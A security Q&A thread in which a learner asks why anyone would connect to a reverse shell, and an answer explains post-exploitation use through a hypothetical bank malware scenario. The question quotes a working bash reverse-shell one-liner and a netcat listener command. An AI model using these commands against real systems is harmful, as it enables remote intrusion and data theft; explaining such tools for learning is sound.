Why would people connect to reverse shell's server side?

Question

This is weird question, I implemented a reverse shell application, in which multiple commands can be executed and a keylogger can be executed. But, I need to connect to the server first, that way on the server side, attacker/user can type in commands, such as "run keylogger or blah blah blah etc" to control the client/victim. But, this is just a test by myself. In reality, who the hell will connect to this/my server? I do not understand. Is this server hosts a public website? that people will accidentally pass by? Or, who would run the bash like this: $ bash -i >& /dev/tcp/192.168.1.142/80 0>&1 ? This is from a tutorial, but again, why should/would people run this, when it is dangerous? I do not understand the logic here. And the tutorial says I should use netcat to listen on port: nc -vlp 80 , but nothing happens. Why is that? Shouldn't be someone connect to me? Thanks a lot in advance

Answer 1

A reverse shell is a post-exploitation mechanism, meaning that you can only use it after you've already exploited the system. If you hacked a server somewhere at a bank, you will want to be able to look around the server to see what you can get from it. This exchange of sending a command (such as "show directory listing") and receiving responses ("there is credit_cards.txt") is what you use a reverse shell for.

You are right that a user will never run such a command on purpose. You indeed don't post those commands to a website hoping for someone to run it; rather, you insert the command into your exploit so that it connects back and gives you access.

if the attacker has already exploited the system, why don't he simply run some commands in the exploited system and find out?

So if you made some malware with an exploit and sent it to a bank employee by email. If they open the email and run your exploit, the malware can do whatever you programmed it to do. But what if you have follow-up commands? Like, you might have programmed it to send you a directory listing, but what if you want to retrieve one of the files? You will have to have some way of communicating this command ("download file X") to the victim's system, and sending another email to the employee with updated malware would be rather risky.

A reverse shell is just a fancy word for any two-way channel between the victim's system and your (the malware creator's) system. It typically involves a real shell that (for convenience) works the same way that bash or powershell does, but the term is often used for any two-way post-exploitation communication system.